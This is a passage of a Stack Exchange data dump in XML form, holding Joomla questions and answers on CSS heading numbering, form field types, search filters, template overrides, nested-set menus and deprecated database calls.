h6.nocount:before {content: &quot;&quot;; counter-increment: none}&#xA;        &amp;lt;/style&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;        &amp;lt;h2&amp;gt;a&amp;lt;/h2&amp;gt;  &amp;lt;!-- 1         --&amp;gt;&#xA;        &amp;lt;h3&amp;gt;a&amp;lt;/h3&amp;gt;  &amp;lt;!-- 1.1       --&amp;gt;&#xA;        &amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 1.1.1     --&amp;gt;&#xA;        &amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 1.1.2     --&amp;gt;&#xA;        &amp;lt;h3&amp;gt;a&amp;lt;/h3&amp;gt;  &amp;lt;!-- 1.2       --&amp;gt;&#xA;        &amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 1.2.1     --&amp;gt;&#xA;        &amp;lt;h5&amp;gt;a&amp;lt;/h5&amp;gt;  &amp;lt;!-- 1.2.1.1   --&amp;gt;&#xA;        &amp;lt;h6&amp;gt;a&amp;lt;/h6&amp;gt;  &amp;lt;!-- 1.2.1.1.1 --&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I add the css to &lt;code&gt;www/templates/horme_3/css/custom.css&lt;/code&gt; (of course, I prepended &lt;code&gt;.headingNumbering&lt;/code&gt; to all code lines in the css) and edit the menu item (which links to the specified article) and add &quot;headingNumbering&quot; to Page Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works as expected, however, the numbering does not work, I have no idea why:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;a&amp;lt;/h2&amp;gt;  &amp;lt;!-- 1         --&amp;gt;&#xA;&amp;lt;h3&amp;gt;a&amp;lt;/h3&amp;gt;  &amp;lt;!-- 0.1       --&amp;gt;&#xA;&amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 0.1.1     --&amp;gt;&#xA;&amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 0.1.2     --&amp;gt;&#xA;&amp;lt;h3&amp;gt;a&amp;lt;/h3&amp;gt;  &amp;lt;!-- 0.2       --&amp;gt;&#xA;&amp;lt;h4&amp;gt;a&amp;lt;/h4&amp;gt;  &amp;lt;!-- 0.2.1     --&amp;gt;&#xA;&amp;lt;h5&amp;gt;a&amp;lt;/h5&amp;gt;  &amp;lt;!-- 0.2.1.1   --&amp;gt;&#xA;&amp;lt;h6&amp;gt;a&amp;lt;/h6&amp;gt;  &amp;lt;!-- 0.2.1.1.1 --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone help me solve this? The solution does not have to use the mentioned css, however, the numbering must be automatic (as in the example: I need to input &lt;code&gt;&amp;lt;h2&amp;gt;a&amp;lt;/h2&amp;gt;&lt;/code&gt;, nothing more) and there should be a way to override it (as using the &lt;code&gt;nocount&lt;/code&gt; in the css above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I use &lt;a href=&quot;https://www.olympianthemes.com/virtuemart-templates/horme-free-virtuemart-template.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Horme 3&lt;/a&gt; template.&lt;/p&gt;&#xA;" OwnerUserId="13453" LastEditorUserId="13453" LastEditDate="2019-04-10T16:45:13.137" LastActivityDate="2019-04-10T16:45:13.137" Title="custom styles: Heading numbering: wrong numbering" Tags="|joomla-3.x|css|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24459" PostTypeId="1" CreationDate="2019-04-11T03:58:45.763" Score="0" ViewCount="53" Body="&lt;p&gt;In the Contact component, I have edited the file &quot;contact.xml&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the textfield named &lt;code&gt;con_position&lt;/code&gt; from &lt;code&gt;type=&quot;text&quot;&lt;/code&gt; to &lt;code&gt;type=&quot;calendar&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;        name=&quot;con_position&quot;&#xA;        type=&quot;calendar&quot;&#xA;        label=&quot;COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL&quot;&#xA;        description=&quot;COM_CONTACT_FIELD_INFORMATION_POSITION_DESC&quot;           &#xA;        showtime=&quot;false&quot;&#xA;        format=&quot;%a %d %B %Y&quot;&#xA;        size=&quot;22&quot;&#xA;        filter=&quot;user_utc&quot;       &#xA;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The data is gone after being saved. It's empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone let me know what I've done wrong?&lt;/p&gt;&#xA;" OwnerUserId="13461" LastEditorUserId="12352" LastEditDate="2019-04-11T07:05:28.957" LastActivityDate="2019-09-08T11:02:10.323" Title="Missing form data from being saved in Contact Component" Tags="|form-fields-types|com-contacts|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24460" PostTypeId="2" ParentId="24459" CreationDate="2019-04-11T06:06:59.893" Score="1" Body="&lt;p&gt;The &lt;code&gt;con_position&lt;/code&gt; column in the database is a simple text type -- &lt;code&gt;VARCHAR(255)&lt;/code&gt;, while the &lt;code&gt;calendar&lt;/code&gt; field type would expect to be working with a column in the database of type &lt;code&gt;DATE&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to change both the Form field in Joomla and the database field type in the &lt;code&gt;#__contact_details&lt;/code&gt; table using mysql or phpmyadmin for it to work.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2019-04-11T10:48:45.437" LastActivityDate="2019-04-11T10:48:45.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24461" PostTypeId="2" ParentId="24452" CreationDate="2019-04-11T06:37:07.887" Score="3" Body="&lt;p&gt;&lt;strong&gt;This question (problem) was successfully and quite quickly solved yesterday&lt;/strong&gt;, working effectively together with @Mick on the solution. And this question is very well detailed, well described and it included the exact error message from Joomla, so it is a good example of a well-built question on SE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The solution was relatively simple:&lt;/strong&gt; we had to change the &lt;strong&gt;deprecated numeric type&lt;/strong&gt; form field to &lt;strong&gt;number type&lt;/strong&gt; form field in the XML files where these fields are defined in Joomla and in FOF too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At form field definitions using &lt;code&gt;type=”number”&lt;/code&gt; instead of &lt;code&gt;type=”numeric”&lt;/code&gt; solved the problem quite straightforwardly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short description about the problem and solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message displayed two important things: &lt;strong&gt;1.&lt;/strong&gt; which file the error occurred in (at which line exactly) &lt;strong&gt;2.&lt;/strong&gt; And it also made obvious that the component is built with using FOF (Framework on Framework), with classes found in &lt;strong&gt;fof30 library&lt;/strong&gt; in Joomla 3 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we open the &lt;a href=&quot;https://github.com/akeeba/fof/blob/development/fof/Form/Field/Numeric.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;particular file&lt;/a&gt; noticed in the error message, we find that file would be about constructing a form field and we can also see immediately that the field is deprecated with a message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Backwards compatibility field. DO NOT USE IN PHP 7.2 AND LATER.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And with an added note: &lt;strong&gt;@deprecated 3.1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then check the fof30 library, you will find that the fof version number now is: 3.4.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Finally,&lt;/strong&gt; we can also find a very helpful message in the file, thanks to the creator of FOF: &lt;em&gt;“…Use the number field type instead.”&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus in this numeric field class, the field fails to be constructed, but if you change the form field type to &lt;code&gt;number&lt;/code&gt; in the corresponding &lt;strong&gt;XML files&lt;/strong&gt; where the form and fields are built, then the problem should be solved. And it was so actually.&#xA;One of the problematic XML file regarding the above explanation was also included by @Mick as an update of the question.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-04-11T07:45:03.400" LastActivityDate="2019-04-11T07:45:03.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24462" PostTypeId="1" CreationDate="2019-04-11T08:41:28.643" Score="0" ViewCount="146" Body="&lt;p&gt;I was going through codes of application, what document is and it has method getInstance method &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getInstance($client, $config = array(), $prefix = 'J')&#xA;{&#xA;    return JApplicationCms::getInstance($client);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then went to JapplicationCms class that wasn't there i managed to find class&#xA;CMSApplication&#xA;it has definition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getInstance($name = null)&#xA;{&#xA;    if (empty(static::$instances[$name]))&#xA;    {&#xA;        // Create a CMSApplication object.&#xA;        $classname = '\JApplication' . ucfirst($name);&#xA;&#xA;        if (!class_exists($classname))&#xA;        {&#xA;            throw new \RuntimeException(\JText::sprintf('JLIB_APPLICATION_ERROR_APPLICATION_LOAD', $name), 500);&#xA;        }&#xA;&#xA;        static::$instances[$name] = new $classname;&#xA;    }&#xA;&#xA;    return static::$instances[$name];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here in this function they are creating a classname. why they would create a class name, couldn't they have find class name by calling &lt;strong&gt;class&lt;/strong&gt; creating a class name. &#xA;they said always ask yourself how and why and i am stuck with loosing job no documentation any help appreciated. thank you &lt;/p&gt;&#xA;" OwnerUserId="13462" LastActivityDate="2019-04-11T08:41:28.643" Title="how getInstance method works" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24464" PostTypeId="1" CreationDate="2019-04-11T16:04:04.020" Score="0" ViewCount="22" Body="&lt;p&gt;I have joomla 3.x site (mydomain.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.mydomain.com&lt;/code&gt; and &lt;code&gt;www.mydomain.com/index.php&lt;/code&gt; produce&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;404 error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;www.mydomain.com/index.php/welcomepage&lt;/code&gt; works fine and opens my welcomepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't navigate in mydomain without problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force joomla to correct &lt;code&gt;index.php&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13466" LastEditorUserId="12352" LastEditDate="2019-04-11T21:08:04.370" LastActivityDate="2019-04-11T21:08:04.370" Title="How to prevent 404 error on my site's index.php page?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24465" PostTypeId="1" CreationDate="2019-04-11T19:27:24.440" Score="0" ViewCount="130" Body="&lt;p&gt;I am converting the searchbar in one of my components to JLayout Search Tools searchbars to become more ready for J!4. Everything is working fine but it is not populating the filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In view.html.php I have this&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;state         = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;filterForm    = $this-&amp;gt;get('FilterForm');&#xA;    $this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;&#xA;    if (count($errors = $this-&amp;gt;get('Errors')))&#xA;    {&#xA;        throw new Exception(implode(&quot;\n&quot;, $errors), 500);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;state / $this-&gt;filterForm / $this-&gt;ActiveFilters are populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In my filter_categories.xml file I have this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;fields name=&quot;filter&quot;&amp;gt;&#xA;    &amp;lt;field&#xA;            name=&quot;search&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;Search&quot;&#xA;            hint=&quot;Filter&quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;field&#xA;            name=&quot;published&quot;&#xA;            type=&quot;list&quot;&#xA;            label=&quot;COM_CONTENT_FILTER_PUBLISHED&quot;&#xA;            description=&quot;COM_CONTENT_FILTER_PUBLISHED_DESC&quot;&#xA;            onchange=&quot;this.form.submit();&quot;&#xA;    &amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Select Publishing State&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;Published&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot;&amp;gt;Unpublished&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&#xA;&amp;lt;fields name=&quot;list&quot;&amp;gt;&#xA;    &amp;lt;field&#xA;            name=&quot;limit&quot;&#xA;            type=&quot;limitbox&quot;&#xA;            class=&quot;input-mini&quot;&#xA;            default=&quot;25&quot;&#xA;            label=&quot;COM_CONTENT_LIST_LIMIT&quot;&#xA;            description=&quot;COM_CONTENT_LIST_LIMIT_DESC&quot;&#xA;            onchange=&quot;this.form.submit();&quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then in the model I have:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct($config = [])&#xA;{&#xA;    if (empty($config['filter_fields']))&#xA;    {&#xA;        $config['filter_fields'] = [&#xA;            'published', 'a.published',&#xA;            'search', 'a.search',&#xA;        ];&#xA;    }&#xA;&#xA;    parent::__construct($config);&#xA;&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    $start = $this-&amp;gt;getState('list.start', $app-&amp;gt;getUserStateFromRequest('limitstart', 'limitstart', 0, 'int'));&#xA;    $limit = $this-&amp;gt;getState('list.limit', JFactory::getApplication()-&amp;gt;get('list_limit'));&#xA;    $total = $this-&amp;gt;getTotal();&#xA;&#xA;    if ($start &amp;gt; $total - $limit)&#xA;    {&#xA;        $start = max(0, (int) (ceil($total / $limit) - 1) * $limit);&#xA;    }&#xA;&#xA;    $this-&amp;gt;setState('list.start', $start);&#xA;    $this-&amp;gt;setState('list.limit', $limit);&#xA;&#xA;    $cid      = $app-&amp;gt;input-&amp;gt;get('cid', [0], 'array');&#xA;    $this-&amp;gt;id = (int) $cid[0];&#xA;}&#xA;&#xA;protected function populateState($ordering = null, $direction = null)&#xA;{&#xA;    $search = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.search', 'filter_search');&#xA;    $this-&amp;gt;setState('filter.search', $search);&#xA;&#xA;    $state = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.published', 'filter_published');&#xA;    $this-&amp;gt;setState('filter.state', $state);&#xA;&#xA;    $limit = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.limit', 'filter_limit', '');&#xA;    $this-&amp;gt;setState('filter.limit', $limit);&#xA;&#xA;    parent::populateState('a.id', 'asc');&#xA;}&#xA;&#xA;protected function getStoreId($id = '')&#xA;{&#xA;    // Compile the store id.&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.search');&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.published');&#xA;&#xA;    return parent::getStoreId($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Filters works like a charm, and it is filtering as expected. But when the users comes back in the page after filtering the search is for example empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the screenshot, I have searched for Easy, one result (which is correct is being returned) Everything looks OK. But the search input box in the middle is empty after using the filter. Also the publishing is not set to the correct option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XshEM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XshEM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11208" LastActivityDate="2023-12-18T04:04:20.477" Title="JLayout Search Tool not populating filters and inputbx" Tags="|joomla-3.x|filter|jlayout|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24469" PostTypeId="1" AcceptedAnswerId="24490" CreationDate="2019-04-12T11:39:28.280" Score="0" ViewCount="58" Body="&lt;p&gt;My website (www.fischer-club.ch) uses the Helix3 template.&#xA;The logo on the top does appear on desktops and on my Iphone. By resizing the desktop window, the logo stays always visbile.&#xA;I discover recently, that the logo doesn't appear on Ipad pro. I've tried with safari, chrome and firefox, no browser shows the logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx for any help!&lt;/p&gt;&#xA;" OwnerUserId="13471" LastActivityDate="2019-04-15T07:51:33.343" Title="Logo doesn't appear on Ipad pro with Helix3 template" Tags="|helix3|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24472" PostTypeId="2" ParentId="24465" CreationDate="2019-04-12T19:19:45.493" Score="0" Body="&lt;p&gt;Could you change view.html.php to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel();&#xA;$this-&amp;gt;items         = $model-&amp;gt;getItems();&#xA;$this-&amp;gt;filterForm    = $model-&amp;gt;getFilterForm();&#xA;$this-&amp;gt;activeFilters = $model-&amp;gt;getActiveFilters();&#xA;$this-&amp;gt;state         = $model-&amp;gt;getState();&#xA;$this-&amp;gt;pagination    = $model-&amp;gt;getPagination();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And regarding your model: which Joomla Class do you extend? ListModel?&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-04-12T19:19:45.493" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24473" PostTypeId="2" ParentId="23743" CreationDate="2019-04-12T19:30:52.947" Score="1" Body="&lt;p&gt;As @sharky already explained, Joomla's menu's use a nested structure. An excellent resource regarding Nested Structures (how they work and SQL to find nodes, paths, calculate tree depth etc) is available at: &lt;a href=&quot;http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The page explains how the lft + rgt in nested structures work. See for example this image (made by Mike Hillyer and shown on his site). &#xA;&lt;a href=&quot;https://i.stack.imgur.com/mgJtx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mgJtx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: the Television node has the number 2 on the left side (lft 2) and the number 9 on the right side (rgt 9). As you can see, you can indeed use all the &quot;lft&quot; numbers in this structure for ordering. But you can get even more information with lft + rgt, like to calculate how many children a node has: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;((rgt - lft) - 1 ) / 2 = number of children. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example Television has 3 children: (9 - 2) - 1 = 6 / 2 = 3 nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla uses the nested structures in a couple of its tables: #__assets, #__categories, #__menu, #__tags, and #_usergroups.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2019-04-13T17:59:22.523" LastActivityDate="2019-04-13T17:59:22.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24475" PostTypeId="2" ParentId="24439" CreationDate="2019-04-12T19:47:02.063" Score="0" Body="&lt;p&gt;I do not know if user action via the preflight method in script.php during installation is possible. I have never seen that before. I have seen an extension using the postflight used to display a license key input form.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-04-12T19:47:02.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24478" PostTypeId="1" CreationDate="2019-04-13T02:53:09.520" Score="0" ViewCount="17" Body="&lt;p&gt;In my Joomla website, I have a few departments like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Education&lt;/li&gt;&#xA;&lt;li&gt;Electricity&lt;/li&gt;&#xA;&lt;li&gt;Women Empowerment&lt;/li&gt;&#xA;&lt;li&gt;Tenders&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each department is handled by a different group of people. I will explain one scenario...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tenders for each department is common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Electricity department, there will be a tendor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Education department there will be a tendor, but I need to create a &quot;publisher account&quot; who can access only their own articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read some pages at Stackoverflow which will give access to specific categories, but not to their own articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, the Education department may not access the Electricity department tenders or pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created Education, Electricity, Tendors as one category in my Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I implement these permission requirements?&lt;/p&gt;&#xA;" OwnerUserId="13474" LastEditorUserId="12524" LastEditDate="2019-04-13T05:21:05.760" LastActivityDate="2019-04-13T05:21:05.760" Title="Restrict Publisher/Editor Access to Own Articles" Tags="|joomla-3.x|permissions|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24479" PostTypeId="1" AcceptedAnswerId="24487" CreationDate="2019-04-13T07:02:01.367" Score="0" ViewCount="51" Body="&lt;p&gt;I have an installation where the article options are wonky. Global and article seems to be working, but on the menu (blog) the &quot;Use Global&quot; options is not available (as it is with a fresh install or all my other sites...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when the menu options are set to &quot;Use article&quot; they are used correctly when the blog layout is active, but when I click on a &quot;Read more&quot; for one of the blog items, that view does &lt;em&gt;not&lt;/em&gt; adhere to the article settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues to where I should be looking next is most appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2019-04-14T21:04:40.203" Title="&quot;Use Global&quot; not available on menu entry" Tags="|joomla-3.x|articles|category-blog|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24480" PostTypeId="1" AcceptedAnswerId="24481" CreationDate="2019-04-13T10:06:46.607" Score="1" ViewCount="73" Body="&lt;p&gt;I want to show a simple &quot;email to friend&quot; button on my Joomla articles (3.9.5)&#xA;The Articles global options allows Email and Print actions to be added, but they are then &quot;hidden&quot; behind a blue cog icon. I just want to show the icons directly because hiding this behind a cog wheel is too hard for the users I have in mind. The convention is to show an email icon (not hidden behind another click). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to avoid an extension which does social media sharing because it is over the top, I just want an email article link, and Joomla's standard feature looks fine (apart from the way it is presented). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find which php file I should override. I have not over-ridden &#xA;Joomla php before, but from documentation I've read, it doesn't look too hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess what I am looking for is in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/var/www/html/components/com_content &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I am not making any progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the direction of which file I should override. Recursive grep is not being very helpful to me (because I don't know what to look for). &lt;/p&gt;&#xA;" OwnerUserId="13475" LastActivityDate="2019-04-14T07:25:22.797" Title="How to change appearance of &quot;action items&quot;, the button which reveals email and print actions on an article" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24481" PostTypeId="2" ParentId="24480" CreationDate="2019-04-13T12:41:38.230" Score="1" Body="&lt;p&gt;The default Joomla code doing the call to display the icons can be found in .../components/com_content/views/article/tmpl/default.php starting at line 68.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At Line 70 this calls a layout routine to process which options are set(edit,print,email) and write the html to display the icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the the layout code in.../layouts/joomla/content/icons.php and .../layouts/joomla/content/icons/email.php   (updated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create overrides for both of the files mentioned using the standard feature under the Templates menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware though when you elect to override the layouts/joomla/content it will copy &lt;em&gt;All&lt;/em&gt; of the layouts so you will need to delete all the ones you don't want to change or you could run into issues later on when core updates aren't being reflected on your site.  &lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-04-14T07:25:22.797" LastActivityDate="2019-04-14T07:25:22.797" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24482" PostTypeId="2" ParentId="24448" CreationDate="2019-04-13T14:28:20.367" Score="0" Body="&lt;p&gt;Template framework is a single home structure, and Page Builder is like a room inside. Each room can look different, but they still will be inside that home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template framework:&lt;/strong&gt; &#xA;it's a Layout Manager for module positions and to maintain Header, logo, color, fonts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Page builder:&lt;/strong&gt; &#xA;Page Builder is a component - it means that operates only in the component area, like any other component. It has its own add-ons like: Tab, Accordion, Pricing Table, Team, Testimonial etc.  which you can place on the Page Layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is Install Helix Ultimate quickstart pack. You can test both Helix Ultimate Framework and SP Page Builder. It's totally free. Follow their documentation it's too easy to maintain. &lt;/p&gt;&#xA;" OwnerUserId="13000" LastActivityDate="2019-04-13T14:28:20.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24483" PostTypeId="2" ParentId="24479" CreationDate="2019-04-13T18:21:15.053" Score="1" Body="&lt;p&gt;The menu item options are configured using xml files in the front-end views of your components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you compare the configuration file for the &quot;Category Blog&quot; view with one from a working website?&#xA;/components/com_content/views/category/tmpl/blog.xml&#xA;It should have a &lt;code&gt;useglobal=&quot;true&quot;&lt;/code&gt; parameter for all the fields that have the &quot;Use Global&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your template uses &lt;strong&gt;a template override&lt;/strong&gt; for the current template, that &lt;strong&gt;has an override&lt;/strong&gt; of that &lt;strong&gt;configuration file&lt;/strong&gt;?&#xA;Check if you have a file called /templates/{your_template_name}/html/com_content/category/blog.xml &#xA;It is probably missing the &lt;code&gt;useglobal=&quot;true&quot;&lt;/code&gt; in all its form fields.&#xA;If so, disable the override by renaming it to blog-old.xml and check your menu options again.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-04-13T18:21:15.053" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24484" PostTypeId="1" AcceptedAnswerId="24489" CreationDate="2019-04-13T23:09:43.980" Score="5" ViewCount="6247" Body="&lt;p&gt;I'm running Joomla 3.9.5 and I'm attempting to update my &lt;code&gt;JFactory::getDbo()&lt;/code&gt; calls (which are deprecated) to the newer format using the container. However, I'm getting the following error: &lt;code&gt;Call to undefined method Joomla\CMS\Factory::getContainer()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = \Joomla\CMS\Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which looks the same as what's being used in the deprecated method in &lt;code&gt;\Joomla\CMS\Factory&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self::$database = 